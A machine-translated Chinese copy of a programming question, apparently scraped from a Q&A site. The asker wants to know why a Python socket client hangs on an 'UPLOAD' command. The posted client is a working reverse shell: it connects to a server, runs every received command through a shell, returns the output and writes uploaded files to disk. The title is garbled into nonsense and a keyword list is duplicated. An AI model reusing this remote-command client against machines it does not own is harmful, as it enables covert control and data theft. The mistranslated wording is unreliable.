如何在服务器客户端Python中终止SubAccess终端销售

如何在服务器客户端Python中终止SubAccess终端销售,python,sockets,subprocess,client,Python,Sockets,Subprocess,Client,如果我向终端发送upload,如何终止子流程终端外壳,以便我的代码可以继续执行upload功能?由于某种原因,它只是卡在接收器功能中。我希望能够在shell中发送上传,这样我就可以在我所在的目录中发送一个文件。我想在文件发送后将其带回shell。顺便说一下,这是客户机文件。我在服务器端得到了所有正确的东西,只是客户端卡在了接收器功能中 import socket import sys import os import subprocess def receiver(s): while

如果我向终端发送upload,如何终止子流程终端外壳,以便我的代码可以继续执行upload功能?由于某种原因,它只是卡在接收器功能中。我希望能够在shell中发送上传,这样我就可以在我所在的目录中发送一个文件。我想在文件发送后将其带回shell。顺便说一下,这是客户机文件。我在服务器端得到了所有正确的东西,只是客户端卡在了接收器功能中

import socket
import sys
import os
import subprocess

def receiver(s):

    while True:
        cmd_bytes = s.recv(20480)
        cmd = cmd_bytes.decode("utf-8")

        if cmd.startswith("cd "):
            os.chdir(cmd[3:])
            s.send(b"$: ")
            continue
        
        #need to just kill subprocess and break into upload function
        elif cmd.startswith("UPLOAD"):
            p.terminate()
            print("it's dead")
            upload(s)
            break

        if len(cmd) > 0:
            p = subprocess.run(cmd, shell=True, capture_output=True)
            data = p.stdout + p.stderr
            s.send(data + b"$: ")
    
  

def upload(s):
    file_data = s.recv(1024)
    filename = str("haha.txt")
    #filename = (input(str("name of file?: ")))
    file = open(filename, 'wb')
    file.write(file_data)
    file.close()
    print("FILE SENT")
    receiver(s)



def connect(address):
    #connect to server
    try:
        s = socket.socket()
        s.connect(address)
        print("CONNECTION")
        print(f"Address: {address}")

    except socket.error as error:
        print("failed connection!")
        sys.exit()

    receiver(s)

if __name__ == "__main__":
    host ="127.0.0.1"
    port = 6666
    connect((host, port))